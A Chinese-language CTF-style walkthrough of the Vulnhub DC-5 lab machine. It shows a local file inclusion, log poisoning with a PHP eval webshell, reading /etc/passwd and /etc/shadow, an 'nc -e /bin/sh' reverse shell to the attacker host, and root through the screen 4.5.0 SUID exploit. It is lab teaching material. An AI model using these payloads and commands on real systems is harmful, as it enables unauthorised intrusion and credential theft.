Vulnhub靶机:DC-5(文件包含与suid文件提权)

admin 2022年7月18日06:51:37评论78 views字数 1783阅读5分56秒阅读模式

目标机:192.168.119.149   

攻击机:192.168.119.140


流程解析:

Vulnhub靶机:DC-5(文件包含与suid文件提权)


  • nmap探测

对目标机器进行信息搜集,发现目标机器开放80等端口、80端口为nginx服务以及操作系统为linux:

sudo nmap -A -p- 192.168.119.149

Vulnhub靶机:DC-5(文件包含与suid文件提权)



  • 80端口

访问192.168.119.149:80

Vulnhub靶机:DC-5(文件包含与suid文件提权)


  • —目录扫描

dirsearch进行目录扫描,发现除网站有的目录外还存在一个footer目录。

Vulnhub靶机:DC-5(文件包含与suid文件提权)

  • —文件包含漏洞

访问footer.php,发现是页末的标签,并且该标签会随页面刷新而变化:

http://192.168.119.149/footer.php

Vulnhub靶机:DC-5(文件包含与suid文件提权)

Vulnhub靶机:DC-5(文件包含与suid文件提权)

经过测试,在thankyou.php页面发现页末标签也会随页面刷新而变化:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

Vulnhub靶机:DC-5(文件包含与suid文件提权)


故猜测thankyou页面存在文件包含漏洞,尝试构建参数file=index.php:

http://192.168.119.149/thankyou.php?file=index.php

确认存在文件包含漏洞。同时尝试远程文件包含,发现远程文件无法包含。确认目标只存在本地文件包含漏洞。

Vulnhub靶机:DC-5(文件包含与suid文件提权)

用burp抓包进行重放,查看其他文件信息。

查看/etc/passwd信息:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

查看/etc/shadow信息:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

确认当前是非root权限。由于目标开放nginx服务,尝试查看日志文件。

nginx日志默认路径为/var/log/nginx,日志文件包含访问日志(access.log)与错误日志(error.log)。:

/var/log/nginx/access.log/var/log/nginx/error.log

Vulnhub靶机:DC-5(文件包含与suid文件提权)

  • —一句话木马

写入一句话木马,该段代码会被记录于access.log中:

file=<?php @eval($_POST['shell']);?>

Vulnhub靶机:DC-5(文件包含与suid文件提权)



  • 蚁剑

  • —getwebshell

用蚁剑连接access.log,成功getwebshell:

http://192.168.119.149/thankyou.php?file=/var/log/nginx/access.log

Vulnhub靶机:DC-5(文件包含与suid文件提权)

  • —反弹shell

查看目标机上是否存在nc:

nc -h

Vulnhub靶机:DC-5(文件包含与suid文件提权)

在攻击机上监听7777端口:

nc -lvp 7777

然后在蚁剑终端中建立连接:

nc -e /bin/sh 192.168.119.140 7777

成功反弹shell。目标机中装有python,利用python获取交互式shell:

python -c 'import pty;pty.spawn("/bin/bash")'

Vulnhub靶机:DC-5(文件包含与suid文件提权)

Vulnhub靶机:DC-5(文件包含与suid文件提权)


  • Shell

  • —suid提权

获得反弹shell后,对目标机器进行更进一步信息搜集,发现screen-4.5.0文件具有suid权限、linux内核为3.16、无法使用sudo命令:

find / -perm -u=s -type f 2>/dev/nulluname -asudo -l

Vulnhub靶机:DC-5(文件包含与suid文件提权)

在漏洞库中搜索screen 4.5,发现该应用存在漏洞:

searchsploit screen 4.5

Vulnhub靶机:DC-5(文件包含与suid文件提权)

利用蚁剑将该脚本上传到目标机器,修改权限后发现运行错误:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

查看41154.sh源码,根据提示新建并编译下述文件:

libhax.c:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

rootshell.c:

Vulnhub靶机:DC-5(文件包含与suid文件提权)

修改后的run.sh:

这里由于脚本作者是在Windows下编辑的,linux无法识别格式,所以需要设置格式。

用vim打开,然后在命令模式下输入

:set ff=unixenter:wq

Vulnhub靶机:DC-5(文件包含与suid文件提权)

将libhax.c、rootshell.c、run.sh上传至目标机器的/tmp目录下。然后编译libhax.c与rootshell.c并运行run.sh,成功获取root权限:

gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.cgcc -o /tmp/rootshell /tmp/rootshell.c./run.sh

Vulnhub靶机:DC-5(文件包含与suid文件提权)


  • flag

转到根目录寻找flag文件:

find ./ -name *flag.txt

Vulnhub靶机:DC-5(文件包含与suid文件提权)

渗透结束,完成任务。


  • 后记

  本次渗透过程中,个人认为最精彩的地方在于隐藏的文件包含漏洞:当一个文件内容被包含于另一个文件时,应该马上思考是否存在文件包含漏洞,如果存在就要能构造该处的常见参数名称。其次就是本次的脚本无法直接使用,故要养成查看脚本内容习惯,同时也要善于运用搜索查缺补漏。

原文始发于微信公众号(陆吾安全攻防实验室):Vulnhub靶机:DC-5(文件包含与suid文件提权)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年7月18日06:51:37
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Vulnhub靶机:DC-5(文件包含与suid文件提权)https://cn-sec.com/archives/1067365.html

发表评论

匿名网友 填写信息